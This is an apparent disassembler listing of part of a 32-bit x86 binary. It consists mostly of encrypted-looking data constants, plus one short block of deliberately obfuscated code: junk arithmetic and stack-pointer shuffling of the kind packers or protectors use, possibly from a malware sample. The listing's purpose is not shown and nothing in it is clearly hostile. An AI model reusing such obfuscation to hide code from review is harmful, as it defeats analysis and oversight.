		dd 18B95B1Ch, 2CBD8AFCh, 4809AE5Eh, 99FC18B9h, 0B98ECF68h
		dd 0E847FC18h, 0B99FD079h, 0F9B6FC18h, 20DA9D8Ch, 0AE7F4B9Ch
		dd 2C6A6E94h, 519AE1AFh, 45E265E4h, 0FC18B914h,	4EDDE316h
		dd 0B520010Dh, 0EA2794F7h, 4A7015D1h, 2F8Eh, 7E18B400h
		dd 8813A158h, 0AEA81643h, 18B94809h, 0CBF764FCh, 0ACECEFAEh
		dd 0D005602Ch, 0E7DF429Bh, 0A3E7EFAEh, 1FA3571Ah, 0EBEFAED3h
		dd 814506A7h, 0D823696Eh, 13DF1659h, 18B985B6h,	0AAE75CFCh
		dd 78C11A53h, 0FC1D3A59h, 6412E2A4h, 0DFE8B625h, 0A5216790h
		dd 484913C4h, 62917BF4h, 318E1D4Ah, 8609382Ch, 38B1A207h
		dd 376DFC1Ch, 849AC032h, 5962D945h, 0FE7BE6F0h,	0C3380901h
		dd 73A19237h, 3B70F9FEh, 4F7591CEh, 94527E18h, 696E704Ah
		dd 0B2EFB329h, 0ECDC1A8Fh, 73A5C8Fh, 0F35C0A6h,	4078855h
		dd 1D54C53Dh, 7B01360Eh, 258409D2h, 0BE000000h,	2F527E18h
		dd 0ECE9B7BAh, 75567971h, 4809AEB1h, 99FC18B9h,	94AE04A2h
		dd 98266A6Eh, 3E8E4A70h, 0B4000000h, 9C587E18h,	0AE07A318h
		dd 18B94809h, 5A1582FCh, 1546E3E8h, 0CCFC18B2h,	0A748E677h
		dd 4C5088FFh, 22BBC39h,	7A4F4909h, 3F22E1A9h, 18EBD99Ah
		dd 0C63308FCh, 6E94AEF8h, 7098266Ah, 23696E4Ah,	317D7D3Ch
		dd 2F348DA8h, 0FBA3043Bh, 3101FACEh, 0AC28298Eh, 45E2F9FAh
		dd 0F9FAAC14h, 93E876CDh, 0E067DC4Ah, 0AC97D861h, 0F14EF9FAh
		dd 143932E8h, 41A83130h, 5F07E35Ah, 0F6D7DD1Ch,	642AD190h
		dd 10B9382Fh, 0F7D2125Fh, 85E0AE2Dh, 8477CA50h,	316EEF3Eh
		dd 95428DA8h, 37768B17h, 7FE2FBBFh, 0A6E93C7Ah,	11AAF0E7h
		dd 2BB331C8h, 0BA8ACC47h, 810D8B4Ch, 2A7137A0h,	0F0B22CABh
		dd 4827589h, 0E7F31A13h, 1A53AAF0h, 0CD1570ADh,	9247B383h
		dd 1EDDDD1Eh, 8BC07590h, 8F1B05Eh, 0C8CE0948h, 2E2F38BDh
		dd 0EAA08B57h, 6C04EEFFh, 4731FCCh, 0E31958CFh,	4E0FA8DFh
		dd 87A08BEEh, 2D741FA8h, 3, 6E9DA751h, 96D92C68h, 81C05B61h
		dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h
		dd 0CF769519h, 0F2788307h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 38105601h
		xor	edi, 24507AA5h
		add	edi, 78EA7A0Ch
		neg	edi
		and	edi, 3D6B0FBBh
		xor	edi, 1A101747h
		xor	edi, 32511E53h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	568Dh
		mov	[esp], edx
		push	5E89633h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esi
		mov	[edx+8], ebx
		pop	ebx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 0B9h, 0CCh, 0A2h
		dd 0E89DB9B8h, 0FFC50305h, 7D4844E0h, 0FDA5F40h, 24946245h
		dd 276E710Eh, 4C53BF43h, 0C2C5D318h, 0CAFA286Bh, 0A71DAC18h
		dd 0B311AC11h, 0AA6DD05Dh, 3E07AE22h, 0E82CAF14h, 0C0C92F58h
		dd 344F291Dh, 0F4B5F48h, 5B47B17Fh, 0AD77B36h, 0FAFE3439h
		dd 0BC560340h, 5C5D3F6Ah, 0DB71E772h, 3B9E107Bh, 13E802h
		dd 0C7B40000h, 0B7F26A3Bh, 0A4954B5Eh, 24854FEh, 0BD85B8DAh
		dd 0F5BF87Eh, 0C381C7B7h, 7385h, 5A7BB866h, 0A07349B9h
		dd 0F4F18143h, 0E843A06Fh, 0Ch,	8B972997h, 78223524h, 339F2CA2h
		dd 66138B58h, 0C281F38Bh, 2D45598Ah, 35D68166h,	4BF28135h
		dd 816DD5DCh, 0D53B01C2h, 0EF81660Fh, 13892B04h, 6601EB83h
		dd 4B4BF78Bh, 11E9604Bh, 70000000h, 51861D3Bh, 0A4FDC047h
		dd 164D46A6h, 700C6AD5h, 0DB89BB66h, 1E98161h, 0F000000h
		dd 0FFFFAC85h, 0E8E58AFFh, 11h,	0E36B5058h, 94E03C7Fh
		dd 954653Dh, 0EB2BFF11h, 0DE902h, 3CF30000h, 917DB994h
		dd 33BBDFB5h, 5F6FB2AAh, 260DB966h, 5AEFC781h, 0B1BB0000h
		dd 0BE49E725h, 169Ah, 0DE9h, 0DF188200h, 85ED38A4h, 2371BE50h
		dd 178B0E36h, 8168E880h, 2D484FC2h, 0FEC28118h,	8121A538h
		dd 0B69EEDC2h, 4880F6Ch, 60000000h, 8961BFB5h, 7E917h
		dd 3D900000h, 46D6809h,	4EF83D0h, 943EABB8h, 850F4E4Ah
		dd 0FFFFFFC2h, 8DC88B66h, 0E8A04B8Dh, 893DB205h, 0E20BE98Dh
		dd 91850105h, 0C705E210h, 0E2076185h, 583005h, 0F3BF0F00h
		dd 1B5585C7h, 5E2h, 0BF0F0000h,	0D9B5FFF1h, 0F805E21Fh
		dd 0B1595FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 3485C9C3h, 3B9A5C25h, 84EAA8BFh
		dd 0F5BD0340h, 6A05E20Ah, 0B995FF00h, 8B05E20Ah, 0BA1DEBC0h
		dd 0AC336552h, 3B910B89h, 0F91C1A4Ch, 8D78534Eh, 7C2357A0h
		dd 0D9B0198Fh, 480FDC76h, 0A1138D8Dh, 816605E8h, 89829FE6h
		dd 0E20BE98Dh, 0C7D98A05h, 0E2076185h, 5FB405h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0F6D064B0h, 0FFE9E1Bh, 581h,	0DB816600h, 5E8A470h, 94000000h
		dd 559A1E7Dh, 168F0Fh, 11E90000h, 0A1000000h, 9818057Ch
		dd 71C22267h, 5567911Fh, 0F28C3A70h, 5585C75Ah,	5E21Bh
		dd 0F9000000h, 58C0F50h, 66000000h, 6C2CD081h, 0EDB5FF5Eh
		dd 0BE05E218h, 1CABF455h, 0B1595FFh, 0CCBA05E2h, 6A495204h
		dd 0B995FF00h, 8B05E20Ah, 8359EBC0h, 4DFA0D45h,	63873B82h
		dd 0AE41C505h, 5920918Eh, 990DAA14h, 0A7364A90h, 1C202EC8h
		dd 4A44463Fh, 9F068132h, 62E5482Dh, 0BC4F88EFh,	0B7924703h
		dd 0F07AB77Eh, 8481C01Bh, 0CB17F026h, 75ADB00Dh, 40C57A9Ah
		dd 31051B9h, 807D4E7Bh,	52E13328h, 0DE8DF63Ah, 6B4A8FD7h
		dd 0A1E58D8Dh, 0BD8905E8h, 5E205C9h, 0E98D89F8h, 6605E20Bh
		dd 85C7FE8Bh, 5E20761h,	6334h, 85C7F88Bh, 5E21B55h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D6C35545h
		dd 72D7CB71h, 81858B53h, 0FF05E230h, 0E20659B5h, 0B5896005h
		dd 5E21379h, 0FEFEF181h, 0FF614FEFh, 0E20B1595h, 0FF006A05h
		dd 0E20AB995h, 0EBC08B05h, 383EA66Ah, 0D7179C77h, 0C9AE829Eh
		dd 9B5CB4ADh, 0D48170C2h, 8172AD47h, 0D1122646h, 0A1DCF065h
		dd 1121EDBCh, 0DF514EC7h, 0E33C70E7h, 0B1E2B69Eh, 8FD1DC80h
		dd 0C706F924h, 78B0F2ADh, 7F8F3240h, 920CAC08h,	0FA59CEDEh
		dd 0CF7711F1h, 0F7FE9983h, 4CF07563h, 257305B9h, 0E0204261h
		dd 0E0165E48h, 4B7FC82Eh, 8EDCD64h, 0E8B5660Ah,	5, 1862C4D4h
		dd 65BD8BBFh, 5B05E217h, 6E67C381h, 78680000h, 8900001Bh
		dd 0E232FDBDh, 0B5015805h, 5E22409h, 0B5310B8Bh, 5E21D41h
		dd 5DAF181h, 952B2E8Dh,	5E226A9h, 0DF58E981h, 0F78158EDh
		dd 12A65C1Ch, 5F1EC181h, 0B533741Ah, 5E20E81h, 0F2816651h
		dd 38F9FD4h, 319CEB81h,	0C38175D2h, 75D23198h, 81D68B66h
		dd 1E8h, 0B1850F00h, 0E8FFFFFFh, 0Eh, 77A38A66h, 856DBB21h
		dd 0DAD1E1D0h, 0BA66F835h, 8D5FA7A7h, 0E8A35D8Dh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0BE711DDCh, 5F09FA99h, 2C51B503h, 816605E2h,	8959B8E8h
		dd 0E20BE98Dh, 0C6816605h, 85C7777Fh, 5E20761h,	70B8h
		dd 2870Fh, 0C18B0000h, 1B5585C7h, 5E2h,	3BF0000h, 0FF3E3ABFh
		dd 0E21D05B5h, 0D88B6605h, 0B1595FFh, 8B6605E2h, 0FF006AF2h
		dd 0E20AB995h, 0EBC08B05h, 0CAFB616Ch, 0B71A89DDh, 6A92C0F6h
		dd 9199ACE3h, 0F3425219h, 0F11854CEh, 0EB9A6C27h, 90B05A33h
		dd 0AAF37EDBh, 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0EAB8A9DFh
		dd 7882F820h, 291C2A02h, 1F23A8BEh, 0DDB8C213h,	0A97E513Fh
		dd 0A47BC129h, 316BAE54h, 3865897Eh, 690E5444h,	14D13A0h
		dd 8307E97Dh, 0BEA34391h, 85521A62h, 4AD7734Fh,	15FE943h
		dd 8B520000h, 0E860D4h,	5D000000h, 0A3DCED81h, 428B05E8h
		dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 782BC1BBh
		dd 83C33328h, 858904E8h, 5E20BE9h, 8B04588Bh, 10428BF8h
		dd 0D3184A8Bh, 6617BEC8h, 0C6339792h, 0E083C72Bh, 4E883FCh
		dd 7618589h, 428B05E2h,	55858914h, 8B05E21Bh, 0E9531842h
		dd 0B0h, 18EDB5FFh, 0B9E905E2h,	0FF000000h, 0E210E5B5h
		dd 0AEE905h, 0B5FF0000h, 5E21FD9h, 0A3E9h, 61B5FF00h, 0E905E223h
		dd 98h,	659B5FFh, 8DE905E2h, 0FF000000h, 0E2325DB5h, 82E905h
		dd 0B5FF0000h, 5E21CD1h, 77E9h,	0FDB5FF00h, 0E905E221h
		dd 6Ch,	3249B5FFh, 61E905E2h, 0FF000000h, 0E21DF1B5h, 56E905h
		dd 0B5FF0000h, 5E23045h, 4BE9h,	79B5FF00h, 0E905E22Ah
		dd 40h,	1DC9B5FFh, 35E905E2h, 0FF000000h, 0E203DDB5h, 2AE905h
		dd 0B5FF0000h, 5E21D05h, 1FE9h,	0CDB5FF00h, 0E905E22Ah
		dd 14h,	0BB8D88Bh, 66000000h, 8D8DE3F7h, 5E8A43Dh, 0E1FFC803h
		dd 0B1595FFh, 8B5B05E2h, 0E20BE985h, 4583905h, 0F850Fh
		dd 6A530000h, 0B995FF01h, 5B05E20Ah, 0FFFFE2E9h, 0C35A61FFh
		dd 6AB85A61h, 0FF77D4C9h, 29858BE0h, 8D05E22Ch,	0E8A52B8Dh
		dd 1418905h, 0ABE9C38Bh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h
		dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh,	0B2915D20h
		dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh,	3A7594A1h
		dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h
		dd 0F94E0097h, 9FA5B4h,	0F07B6B5Ch, 8A924Ah, 45F352D0h
		dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h
		dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh
		dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h
		dd 0BCE1B6F6h, 0B3ED7293h, 1E80097h, 3D94E7A6h,	9FFA8332h
		dd 80E922D3h, 68000012h, 5E8A7FAh, 0F9DA12E9h, 0A8E568FFh
		dd 8E905E8h, 68FFF9DAh,	5E8A9C7h, 0F9D9FEE9h, 0AB2568FFh
		dd 0F4E905E8h, 68FFF9D9h, 5E8ABADh, 0F9D9EAE9h,	0AC5968FFh
		dd 0E0E905E8h, 68FFF9D9h, 5E8ACE3h, 0F9D9D6E9h,	0AD7E68FFh
		dd 0CCE905E8h, 68FFF9D9h, 5E8AE18h, 0F9D9C2E9h,	0AF4F68FFh
		dd 0B8E905E8h, 68FFF9D9h, 5E8B073h, 0F9D9AEE9h,	0B1AA68FFh
		dd 0A4E905E8h, 68FFF9D9h, 5E8B2D9h, 0F9D99AE9h,	0B4F768FFh
		dd 90E905E8h, 68FFF9D9h, 5E8B5DAh, 0F9D986E9h, 0B2F6E0FFh
		dd 0E5A15514h, 4C5088F9h, 0B6F4E346h, 1EA45928h, 39C7BF0h
		dd 7BCED4DAh, 0D5943280h, 0A7F9B27h, 3C3CFCDh, 1F1445E2h
		dd 40CDF9F0h, 23696E9Ah, 5A6099D8h, 0B296BBBCh,	0D84C2A8Fh
		dd 0E84701FAh, 23D3929Dh, 0EC0B0467h, 4139530Dh, 0EB3495C2h
		dd 0F9FA0B56h, 0FC330345h, 3FE6C121h, 5F0FCD8Ch, 3D54F86h
		dd 0C05B9034h, 29CD328Bh, 0F1000000h, 0D0577B18h, 0FAD1C777h
		dd 0DA211E01h, 0F990CE5Bh, 59167EABh, 0B20A2780h, 0DF19F9FAh
		dd 1E6DA0E7h, 13C23FE6h, 0E4000001h, 0A85E39AEh, 0BFD8E617h
		dd 0DAE3D860h, 49EE6297h, 0FC18A208h, 2C7068D9h, 0EA279CD9h
		dd 6C91E277h, 7EE657F0h, 403FFC18h, 27FC12D7h, 188CD182h
		dd 0FE2B00FCh, 0DE1F46EDh, 0CD0AB5D0h, 8CB3A405h, 0D079FC18h
		dd 0FC188C9Fh, 0E65DF9B6h, 9237B6A9h, 0FC188FA1h, 9BA23B70h
		dd 0FD199F58h, 0EB6CCD4Ch, 3AFC188Fh, 17137C4Dh, 55FC188Bh
		dd 89F8E6A4h, 36278050h, 34FC1883h, 0E15EC4C0h,	0FB9851B4h
		dd 9FF750D7h, 2D01FAD0h, 9B2C706Ah, 0A1AA300Fh,	495782BCh
		dd 0BDCC6D1Ch, 50041F07h, 0CDF3641Bh, 76234230h, 0D8CF3D4h
		dd 11C74A9Ch, 18A1FBDAh, 0F01EA459h, 0F69A4CB1h, 0EFFF6963h
		dd 4ABBDCh, 0ADFBDED1h,	50020B70h, 0E085FE7Dh, 0FD581h
		dd 26629400h, 890DC9B8h, 0F0BC3C0Dh, 5A6097EAh,	8210CDBCh
		dd 0B708EF04h, 0EF527846h, 4938A6ECh, 0BE830F93h, 6F577339h
		dd 1E80B116h, 2C51F9F0h, 0ED6D6EEEh, 18B90B4Ch,	306DDAFCh
		dd 6422D7AAh, 7B18707Eh, 8A119D5Dh, 52151441h, 5BC6E7A5h
		dd 0FAD17CFEh, 0A9D89701h, 76A9EFE6h, 6DEE3D83h, 0DB68315Ch
		dd 0C8F9FAA1h, 9E73B68Eh, 0D3FE62Bh, 0C3h, 23696E31h, 5E6499D8h
		dd 0BDC462CFh, 0B324FC18h, 3225716Eh, 99D8E113h, 0CDBC5A60h
		dd 72E3440Ch, 0A3FC1867h, 0B30C9FD4h, 2287BAAEh, 1FA34E8h
		dd 162E9700h, 4A80C31Dh, 73F80391h, 0B5A60306h,	6CF9FBDAh
		dd 0D150B617h, 0FBDAC788h, 0B3A405F9h, 62F9FBDAh, 0C5320915h
		dd 5D711ED9h, 0AE98D2Ah, 4B20041Eh, 5A6895D4h, 8210CDBCh
		dd 7D222A65h, 157C09FEh, 0EEAh,	4D494D8Bh, 16BCF8FCh, 0FF1BA753h
		dd 414D4B8Ah, 29B5FBE0h, 31AAF392h, 0D7026763h,	7E7CCDC9h
		dd 24D59432h, 0D747866h, 0F011ABACh, 0F33B7AF9h, 0BB276D6Eh
		dd 0F8B11C6h, 9DDE7BFAh, 6FFC18B9h, 4D3A206Eh, 4AD1DF1Ah
		dd 6EC2B801h, 99D82369h, 0CDBC5A60h, 3B7A810Dh,	0B95E1FB8h
		dd 0AE2CFC18h, 34529BE2h, 0F6E36E7Fh, 43362AB0h, 3F22060Bh
		dd 0FAC31C9Ah, 88F8B701h, 40E193AFh, 0B93E61F6h, 0C11EAF3h
		dd 1A62958h, 1748550h, 0E027578Ch, 915CB2Ah, 0C166A932h
		dd 0FC96E761h, 87C81190h, 85FF5686h, 84315452h,	797EA19Eh
		dd 4AA7C633h, 3F7EE1C5h, 2CA9FCBAh
		dd 5FB3149Bh, 0F602B00Ch, 365D673h, 0C7BCF52Bh,	23D4978Ah
		dd 0C5206E6Fh, 0CABF5B90h, 0F628F0Dh, 1A01117Bh, 0E08240Fh
		dd 2FA90000h, 0DA1A6F6Bh, 897130DEh, 2DA89905h,	0DD1E636Fh
		dd 0D5BCCBD7h, 18D13C8h, 0EFEBB920h, 0B65C609Ah, 1A8006F3h
		dd 0CD8E2B5Ah, 4F9F010h, 696EDD19h, 62EFD823h, 0CF58DB4Eh
		dd 3F4BF15h, 23229485h,	5F8BD4F5h, 0ED01FAFAh, 0CED0557Ch
		dd 0DE1DB470h, 0CB00B5D0h, 33DF94F2h, 30371B38h, 18B2CF97h
		dd 1269C604h, 1BA95013h, 29724B80h, 0F7DC2A14h,	9FEEB226h
		dd 801BA154h, 0F2463E28h, 0CB6CEFAEh, 0F7DC2A8Ah, 0B2D09556h
		dd 212D839Eh, 0F7169A40h, 0B6B00946h, 81964BBEh, 613545C8h
		dd 0B2000000h, 847033h,	66D770E5h, 64F7DCDBh, 9BD02B71h
		dd 432780FFh, 0D0577B18h, 0C8892E51h, 19FC18B9h, 0C1309922h
		dd 1401FB05h, 8D18A655h, 0FB6C1348h, 5A10B00Bh,	852225D0h
		dd 0F9FAE8D4h, 6A95360Dh, 0E1EDB12Bh, 0FAE8CB66h, 0BA00F9F9h
		dd 0E3AF2D1Ch, 0D10B998h, 0E1760000h, 3B4BC0A8h, 3F0BDC6Ah
		dd 0D0577B18h, 15FE577h, 0DC433802h, 0FC7DDA5Dh, 15F9F01Fh
		dd 15C28D5Eh, 0C1360B97h, 0CA57A0FBh, 51C663E6h, 8807E9F8h
		dd 0CCD8CB3h, 21D89B8Eh, 0FAC30893h, 1ADA9D2Ch,	0FDCE0F9Eh
		dd 78572h, 0C9129841h, 0E4C855A2h, 9F16C465h, 72C90A2Bh
		dd 91CE1E35h, 39186DF8h, 0CAAh,	8D098D4Bh, 567C38BCh, 3FDBE713h
		dd 810D8B4Ah, 69753BA0h, 716A33D2h, 17C2A723h, 0BE3C0D89h
		dd 6495D4F2h, 4DB4B826h, 0F0126BECh, 33FBBAF9h,	18B9FB88h
		dd 218609FCh, 0FC18B930h, 86818AE1h, 0DC2A96Bh,	0EA774099h
		dd 0B9E643C6h, 0D002017Bh, 34A5E49Bh, 44B0F376h, 17B02540h
		dd 3959CE73h, 0BC2F2AC7h, 6C450F08h, 3259A972h,	6B31A6A9h
		dd 96BAA710h, 62903693h, 0FC4B0412h, 7A7C96B7h,	0E54CD9FEh
		dd 0C22h, 759115C3h, 0DEC4C034h, 0A7236F6Bh, 99513C2h
		dd 0D1FDC338h, 0F9E2BB5Ah, 9F5A2FABh, 46B4F511h, 0ECED5C7Ah
		dd 0C53C20AEh, 0F012F364h, 0BB6322F9h, 0D823696Eh, 0C35A6099h
		dd 3B473FA9h, 0B95E1FB8h, 0B8F7FC18h, 0FC61B2Fh, 0E4673A04h
		dd 18B11243h, 0DDE318FCh, 2A010D4Eh, 6276C91h, 18560000h
		dd 51D0577Bh, 6EAE3D38h, 0D98CFAh, 1C86FA7h, 0B6A98602h
		dd 4807437h, 0EC5374E1h, 6A30A7EBh, 27D0913Dh, 3D1A61h
		dd 44F9F185h, 0F574EBDFh, 244745B2h, 68A70B7h, 0D68E5CA5h
		dd 0CAA10413h, 79C77AADh, 0C5ACF9FEh, 0B76h, 0D9C5C137h
		dd 0A2286C68h, 0B971BDFh, 0DDF9BF36h, 0A5216F6Ch, 0A556670Eh
		dd 4B8EF31Fh, 0F2E85945h, 984120AEh, 0B9C8F412h, 0F0155F10h
		dd 4F8FF6F9h, 0D823696Eh, 0C35A6099h, 0C0473FA9h, 3A040F0Dh
		dd 594A2h, 0FB888400h, 0BFFC18B9h, 88BBE92h, 0B92F2089h
		dd 89E6FC18h, 831A9E56h, 0BE28714Ah, 4A02015Eh,	0FBCCD20Bh
		dd 0EE51D0AFh, 4227A3E9h, 3BF41795h, 0AA0F3216h, 4124F3Ch
		dd 561398D7h, 51FE7A5Ch, 0AEC6D34h, 4B8D0000h, 0F6FE434Fh
		dd 0A55514B2h, 498CFD19h, 0F9E24743h, 0F1902FABh, 65612FACh
		dd 0C3CFD504h, 0AA307C7Eh, 7E6422D7h, 0A9AA0F76h, 78F9F015h
		dd 0EFAEF135h, 5619A2E8h, 41801BA1h, 618B1298h,	45980FE7h
		dd 0EA3A040Fh, 505h, 5D7B18DCh,	0D911CD9Dh, 0EA12512Ah
		dd 78C140BDh, 201BE99h,	178087FCh, 0E15891EBh, 820DDE4Dh
		dd 0A9016C3h, 0DCEC237h, 70F76487h, 0F16A66D7h,	8BC0BFF9h
		dd 6A1A1770h, 315EF9F1h, 19CD6A1Dh, 30041339h, 2E2D3E7Bh
		dd 297CFE79h, 0A5146h, 0A2E61000h, 15914524h, 7C40B889h
		dd 0A6E41356h, 0E944938h, 338C6B80h, 6BDEC4CAh,	0C5A42270h
		dd 3A0F8B17h, 13D3FFBDh, 14043592h, 50DDF9F0h, 23696E6Ah
		dd 3D797D3Ch, 5102A7EEh, 80FC18B9h, 6ECB7EABh, 0FC18B9EDh
		dd 0D77E4F24h, 0DE2D6B6Ch, 0F53C08BEh, 3A040F18h, 0B907F2B5h
		dd 453E320h, 88C70000h,	0FC18B9C6h, 84BBAFB4h, 15EB923h
		dd 681F5402h, 0ECEAB029h, 33945C9Dh, 0F9F01C02h, 0DC2F64D3h
		dd 0D74A7EE3h, 12493472h, 0EB106F04h, 0FE7A5BD2h, 0B7D1B0D5h
		dd 76000009h, 0AB9E0480h, 1E636F2Bh, 79C8D6DAh,	0AF92387Eh
		dd 0CD7A602Eh, 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h
		dd 0DF7889B5h, 0F9F0179Eh, 0AE0CCEB7h, 0BAE73B39h, 34D9723Eh
		dd 46B4EB39h, 0F9FE617Ah, 0F0E968B3h, 0E78EAC76h, 0A6136720h
		dd 0B98D2F47h, 800E8C4Dh, 48D479Ah, 2467E63Ah, 1F50E9B7h
		dd 36FC18CFh, 0CFD50679h, 61AE3FBCh, 12Bh, 23696E45h, 0E21659D8h
		dd 95420DDEh, 0AC511017h, 755687E6h, 95B9A691h,	0D8613592h
		dd 0C3B801FAh, 0A6A2DFB8h, 37B1F9FAh, 2E15C83Fh, 44BA3FE6h
		dd 8C000000h, 0A1EDEFAEh, 0E222F18h, 0D1BCBE1Bh, 125701FAh
		dd 1C6FA4E8h, 0FAA13E33h, 0C3C90CF9h, 1F50F9B8h, 36F9FAA1h
		dd 0CDD30679h, 0E152F7BEh, 30F9FAA1h, 0C1B5377Bh, 0D7AF297Fh
		dd 0E62B7D50h, 98D23Fh,	6E140000h, 0E8AE2969h, 8B3F589Dh
		dd 63688B1h, 0C6099CC9h, 0F57C8F15h, 0FC678604h, 0B611BDFBh
		dd 0FC18CF80h, 0B5515780h, 0B6A99D82h, 0FD3F8311h, 4AEF1201h
		dd 0F9FDBF09h, 4FCBD703h, 0C584BBF0h, 3D0C8A18h, 0AAB5F2C0h
		dd 0A904602Dh, 88075DCh, 0B7210000h, 6292D7F3h,	11C9B826h
		dd 0B520018Dh, 6596EBF7h, 5D04B35Fh, 89159B40h,	577341B8h
		dd 3EA4E812h, 82088E4Bh, 5506A3C2h, 8CF9F016h, 6D6E4581h
		dd 11C6BB27h, 9C5F5981h, 942D916h, 0F1EAADDCh, 0CA1358A3h
		dd 39AE16DCh, 2AA44B83h, 85CC1DFDh, 8C375654h, 90474Bh
		dd 2C99D6DAh, 27F23A6h,	0AE5B0000h, 2FABEDEFh, 66D31863h
		dd 6C1E23F5h, 8526D181h, 0A65FA7ACh, 2A78637Dh,	5B317421h
		dd 3CDE7BEEh, 0D701FA0Ah, 0F240D98h, 1CF9FA6Bh,	6AA7EADAh
		dd 0C13FE6E5h, 229h, 0B9C488E5h, 9700FC18h, 3B72BAD5h
		dd 0C2BB0C70h, 2177635Dh, 2697F6BCh, 0A8DBCE9h,	0D1098F4Bh
		dd 0C07590CDh, 0DD4C9EE7h, 54E70201h, 0FBE426h,	9FDB99B2h
		dd 0ED5DC750h, 0E2E489CAh, 6F3B2B5h, 0B2271A80h, 5961A93Eh
		dd 158F2622h, 0F1DB0334h, 2865D2F9h, 397F7639h,	853AB5E2h
		dd 4432AFD5h, 5A97BE0Fh, 938ACD35h, 6BA6DCB5h, 58AE0B3Eh
		dd 0A8041367h, 11AAF0E9h, 9071BEF5h, 5BFE7974h,	75C67CEh
		dd 0DB1D0000h, 864E33DFh, 35A58402h, 0D91C6D69h, 897237D3h
		dd 81609F3Bh, 0D5F1BF3Ch, 0B35F6594h, 1A800CCEh, 0EEF4B227h
		dd 393A9FE6h, 0E8F9F009h, 696E61A5h, 0B90F40E9h, 69C6FC18h
		dd 2E9C0D3Ch, 4F403508h, 5DFB7CDDh, 5D2AFC18h, 35BCC7E0h
		dd 0FA7C6C4h, 6C6DD9ADh, 27FAA02Eh, 843A04F7h, 141h, 23696EBEh
		dd 5A6099D8h, 8D4A0DBCh, 0C87FFC0Fh, 18B9EE6Fh,	7F4827FCh
		dd 0EB699986h, 0F0DC9C8Ah, 5AFF62DFh, 1FA9A7Ch,	0E44DD897h
		dd 0F9FAD84Fh, 0E72A1A5Ch, 3FE6702Ah, 2781h, 7B18A500h
		dd 0C777D057h, 1E01FAD1h, 7B8520FDh, 0D5024049h, 1A54E9B6h
		dd 147F9FAh, 0B61FF235h, 0C28C3FE6h, 0B6000000h, 0D823696Eh
		dd 2B5E6499h, 0D92C7068h, 0A1204B9Ch, 0A82B7238h, 0FA6D692Fh
		dd 0FC190B6Ch, 0F11D9B5Ch, 0F27559C6h, 2F644465h, 0A23B3798h
		dd 3ABDFC7Fh, 1BAC297Ch, 0FD9522B2h, 8386FD01h,	92951BC0h
		dd 0E16026D3h, 0FD141758h, 6871CEF9h, 3E9A0FB2h, 33E2218Dh
		dd 0CF17049h, 0BF9B4D8Ch, 79C3A448h, 6BE03B70h
		dd 0BC0AF13Eh, 84E1045Fh, 625BDh, 9612C400h, 0F9BD3908h
		dd 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch, 0E7B85FD4h, 5F22A8F6h
		dd 0B988169Ch, 0EE537F43h, 3F27A3E9h, 8F061C6h,	7C21F9F0h
		dd 276D6EBEh, 8B11C6BBh, 83B41594h, 89FC18B9h, 0BF3C4F53h
		dd 4A5A493h, 0FC18B953h, 7614B582h, 23696E48h, 0E51659D8h
		dd 14451F03h, 3C692F9Eh, 145B6CE9h, 0A839A5E3h,	1Dh, 23696ED2h
		dd 866099D8h, 375912CEh, 6CBFF4DBh, 22906426h, 76EBF7B5h
		dd 21h,	0E7EFAE8Ch, 33797CA3h, 175A63E8h, 0F841A4E2h, 0FC18B94Ah
		dd 0EB572F19h, 0F6B9A8EEh, 7A20B9FFh, 23696E7Ch, 4E62EFD8h
		dd 5FDE7EDBh, 0A6310201h, 6565010Ah, 62E55279h,	0EAF0B623h
		dd 0DAE61457h, 8EB10A43h, 79384349h, 0E2FBC136h, 21200409h
		dd 0B1FDFFBEh, 7FD8E16Ah, 7E9243Ah, 96363853h, 0E47539A3h
		dd 9AD77AE4h, 0D0F364E7h, 0C0E147EDh, 0D1064992h, 0FBBACFCBh
		dd 252CBD01h, 5A97F6B4h, 0EF6E1135h, 1B622EACh,	2AA009D2h
		dd 0ED0A2BA1h, 347AFB5Ch, 0DCABEDABh, 0F4216D6Dh, 91A6CE8Fh
		dd 9DE481F8h, 4F6h, 594541B7h, 22A8ECE8h, 8B179B5Fh, 5D793FB6h
		dd 25A1EFECh, 25D6E78Eh, 0CB0E739Fh, 7268D9C5h,	18C1A02Eh
		dd 39487492h, 0F00BDF90h, 0CF0F76F9h, 6BFF696Eh, 0B6FAFE38h
		dd 4275E657h, 26AE119Eh, 65D21B62h, 0C3CF0879h,	0CC5F941Ah
		dd 0D3565485h, 85266A90h, 622544FEh, 0AA943573h, 2D6B6CDAh
		dd 6626FBA1h, 58853A04h, 0B9000000h, 0D0577B18h, 0FB053877h
